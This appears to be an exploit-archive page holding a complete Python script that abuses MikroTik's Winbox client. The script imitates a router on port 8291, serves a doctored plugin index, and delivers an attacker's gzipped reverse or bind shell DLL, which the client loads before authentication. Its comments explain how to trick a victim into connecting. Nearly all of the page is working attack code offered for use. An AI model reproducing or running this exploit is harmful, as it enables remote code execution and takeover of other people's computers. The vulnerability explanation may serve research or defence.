Mikrotik's Winbox Remote Code Execution



EKU-ID: 2033 CVE: OSVDB-ID:
Author: PoURaN Published: 2012-05-02 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/python
# Exploit Title: 	Mikrotik's Winbox Remote Code Execution
# Author: 			PoURaN
# Software Link: 	http://www.mikrotik.com/download.html
# Version: 			probably all winbox versions. Tried 2.2.7 - 2.2.18
# Tested on: 		Windows XP SP2, SP3, Windows 7 SP1, Win2k8, Win2k3, Wine
# <> Other files needed by this exploit can be downloaded from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip <>
#
#  Vulnerability Description 
# ===========================
# When you connect to mikrotik router using winbox, it is asking for an index
# with plugins (DLLs) their size, version and CRCs.
# If something new is found, or if that client haven't connected to that mikrotik version yet,
# winbox requests the new plugin(s) (.dll file(s)) from mikrotik router.
# When winbox downloads all the DLLs required in order to load the controlling interface of the
# mikrotik router, loads the DLLs and then tries to make an authentication
# to the remote mikrotik router. The vulnerability exploits that winbox
# is loading the remote dlls before authentication and without any further
# confirmation of plugins originality.
#
#  The exploit
# =============
# This is a winbox vulnerability which exploits the way that winbox is working.
# That is the reason why it's working on all winbox versions (even on today's version)
# This exploit is based in leading (socialy) the victim to connect to this malicious
# winbox listener, using his/her winbox client.
# More details in www.133tsec.com
# 
#  Usage
# =======
# details in www.133tsec.com
# Download all files that exploit needs from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip
# In order to use this exploit successfully you have to :
#
# 1. Have index.bin in the folder where .py script is running
# 2. Have all original DLLs of the spoofed index in the folder where .py script is running
# 3. Make a reverse/bind shell DLL, compress it with gzip and place it in script's folder and
#    enter it's filename when script will ask for it.
#	  *** Your DLL's filename must have 7 chars length (ex. ppp.dll) ***
#	  *** The gziped version of the dll, must be between 10k-99k (must have 5 digits of size) ***
#	  The above 2 restrictions caused to the fact that i don't create the index dynamically from the script..
# 4. Social your victim to connect to the machine running the script, and gain the shell u r expecting
#
# <> Greetz flies to mbarb, dennis, andreas, AWMN and all friends and researchers out there <>
# 
import socket,sys,os,struct,random

global fPointer

def SendFile(conn, filename):
	f = open(filename, 'rb')
	global fPointer
	f.seek(fPointer)
	fData = f.read(66049)
	fPointer += 66049
	f.close()
	data = conn.send(fData)


random.seed()
print "\n+-----------------------------------+"
print "|                                   |\\"
print "| Winbox remote client DLL injector | |"
print "|        = coded by PoURaN =        | |"
print "+___________________________________+ |"
print " \___________________________________\|"

randByte = str(random.randint(100,999))		# i need 3 random digits for a random crc
filename = raw_input("\nEnter the compressed filename: ")
fileRequest = 'ppp.dll'		# this will be the file in the index, that the client will request
							# and we'll send the backdoored dll instead of the original one.

try:	# Open the compressed file (gzip format) in order to send it later..
	f = open(filename, 'rb')
	buff = f.read()
	f.close()
except:
	print "[-] Error opening file"
	sys.exit(0)

# This number is very critical for the other structures
compressedFileSize = os.path.getsize(filename)
if compressedFileSize < 10000 or compressedFileSize > 99000:
	print "[-] Error. Compressed filesize must be between 10k-99k! Read comments or visit 133tsec.com for details"
	sys.exit(0)

# Make the index include the size of the custom dll file... overwrite the ppp.dll size
# ( That's why we need 7 chars filelength and 5 chars filesize.. got it? :D ok am a bit lazy... ;p )
f = open('index514.dat', 'rb')
myIndex = f.read()
f.close()
myIndex = myIndex[0:0x9F] + str(compressedFileSize) + myIndex[0xA4:]	# changing filesize dynamically, in hardcoded ocffsets! **** THIS IS WRONG IF THE FILESIZE IS NOT 5 DIGITS! *****
myIndex = myIndex[0:0x9B] + randByte+" " + myIndex[0x9F:]		# changing crc to a random one so am sure every time client is downloading my backdoor again.

WinboxHeader = 	("\xFF\x02" +							# WORD: hardcoded
				#"\x70\x70\x70\x2E\x64\x6C\x6C" +		# VARIABLE-SIZED: filename (printable chars) MAX:11 chars
				fileRequest +			# **** THIS IS WRONG IF THE FILENAME LENGTH IS NOT 7 CHARS! *****
				"\x00\x00\x00\x00" +					# VAR-SIZED: zero bytes till strlen(filename) + \x00*X = 11 bytes. These zeroes may not exist if strlen(filename) = 11
				"\x01" +								# BYTE: hardcoded. signals the end of zeros and beginning of the length
				struct.pack('>h',compressedFileSize) +	# WORD: length of gzip'ed file in big endian
				"\x00\x00\x00\x00")						# DWORD: hardcoded zeros before the gzip magic bytes.

print "\n\n[+] File \'"+filename+"\' opened with size "+str(compressedFileSize)+" bytes"
print "[+] Waiting connection on port 8291.."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('', 8291))
s.listen(1)
conn, addr = s.accept()
print '[+] Connection received by', addr
print "[+] Waiting for index."
data = conn.recv(1024)
if data.find("\x12\x02"+"index"+"\x00") > -1:
	print "[+] Index received!"
else:
	print "[+] Wrong index.. Exiting.."
	sys.exit(0)
print "[+] Sending DLL Index (Step 1)"

# Step 1 : Sending the dll index list...
data = conn.send(myIndex)
data = conn.recv(1024)

global fPointer
fPointer=0

# checking if client requests the .dll we sent.. this depends to the CRC sent in Step 1
while data.find("\x12\x02") > -1:		# If a file is requested.....
	if data.find(fileRequest) > -1:		# if the file is our backdoored compressed DLL.. ;)
		print "[+] Client just requested " + fileRequest
		print "[+] Sending compressed file with custom header (Step 2)"
		#########################################################################################
		# Step 2 : Sending the gzip file raw data with the custom header						#
		#########################################################################################
		#	Constructing the custom compressed file format										#
		#########################################################################################
		#	1. The header of the gzip file must be in format: WinboxHeader						#
		#	2. The gzip contents must contain the word 0xFF 0xFF in every 257 bytes (0x101)		#
		#	3. The gzip last 0x101-chunk must contain the word 0x(size till end of file) 0xFF	#
		#########################################################################################
		# Give the spark
		customGzip = WinboxHeader
		customGzip += buff[0:0xED]
		customGzip += '\xFF\xFF'
		#Loop the most data
		for i in range(0x1EC, len(buff), 0xFF):
			customGzip += buff[i-0xFF:i]
			if 	0x101 > (len(buff)-i):		# if it's the last FF FF appended, then do it \x[(bytesToEOF)byte]\xFF
				customGzip += struct.pack('=b', len(buff)-i) + '\xFF'
			else:
				customGzip += '\xFF\xFF'
		#..and finish it
		customGzip += buff[i:len(buff)]
		data = conn.send(customGzip)
		print "[+] Compressed file sent"
		data = conn.recv(1024)
	else:			# else it's requesting another file from index..
		while (data[2:].split("\x00")[0]!=fileRequest) and data[0:2]=="\x12\x02":		# send other index's dll except the backdoored...
			fPointer=0
			print "[x] Client is requesting "+data[2:].split("\x00")[0]+" file.."
			CurrentRequest=data[2:].split("\x00")[0]
			while data[2:].split("\x00")[0]==CurrentRequest:
				SendFile(conn, CurrentRequest)
				data = conn.recv(1024)
				print hex(struct.unpack('=B', data[18:19])[0]), hex(struct.unpack('=B', data[19:20])[0])
print "Succeeded.. Enjoy!"
conn.close()